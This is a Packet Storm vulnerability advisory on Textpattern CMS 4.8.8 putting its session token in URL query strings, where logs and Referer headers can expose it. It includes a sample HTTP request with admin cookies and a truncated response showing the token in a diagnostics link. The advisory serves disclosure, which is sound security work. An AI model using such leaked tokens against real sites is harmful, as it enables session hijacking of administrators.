Textpattern version 4.8.8 logs the session token in a GET request where it may end up getting disclosed in logs or via a referer.
1ae8e0b552a4239f94e3a47bd60d1a40de5024ed400567419bb925ce5c2c66e0## Title: textpattern-4.8.8 Session token in URL Vulnerability
## Author: nu11secur1ty
## Date: 05.10.2023
## Vendor: https://textpattern.com/
## Software: https://github.com/textpattern/textpattern/releases/tag/4.8.8
## Reference: https://portswigger.net/kb/issues/00500700_session-token-in-url,
https://cwe.mitre.org/data/definitions/200.html
## Description:
Sensitive information within URLs may be logged in various locations,
including the user's browser, the web server, and any forward or
reverse proxy servers between the two endpoints. URLs may also be
displayed on-screen, bookmarked or emailed around by users. They may
be disclosed to third parties via the Referer header when any off-site
links are followed. Placing session tokens into the URL increases the
risk that they will be captured by an attacker.
Issue detail: The URL in the request appears to contain a session
token within the query
string:http://pwnedhost7.com/textpattern-4.8.8/textpattern/index.php?logout=1&lang=en&_txp_token=64f17b3d874e3c5f9c728f03e1271c64
STATUS: Medium Vulnerability
[+]Exploit:
```GET
GET /textpattern-4.8.8/textpattern/index.php?event=diag HTTP/1.1
Host: pwnedhost7.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: txp_login=Admin%2C628717737574e8be05624bb2da74fb38;
txp_login_public=d5f8d91942Admin
Connection: close
```
[+]Response:
```HTTP
HTTP/1.1 200 OK
Date: Wed, 10 May 2023 07:51:37 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Content-Security-Policy: frame-ancestors 'self'
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 10725
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta name="robots" content="noindex, nofollow">
<title>Diagnostics - My site | Textpattern CMS</title>
<script src="vendo
...[SNIP]...
<input name="event" type="hidden" value="diag" /><a rel="external
noopener" target="_blank"
href="?event=diag&step=phpinfo&_txp_token=64f17b3d874e3c5f9c728f03e1271c64">PHP
configuration <span class="ui-icon ui-icon-extlink">
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/textpattern/2023/textpattern-4.8.8)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/05/textpattern-488-session-token-in-url.html)
## Time spend:
01:15:00
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed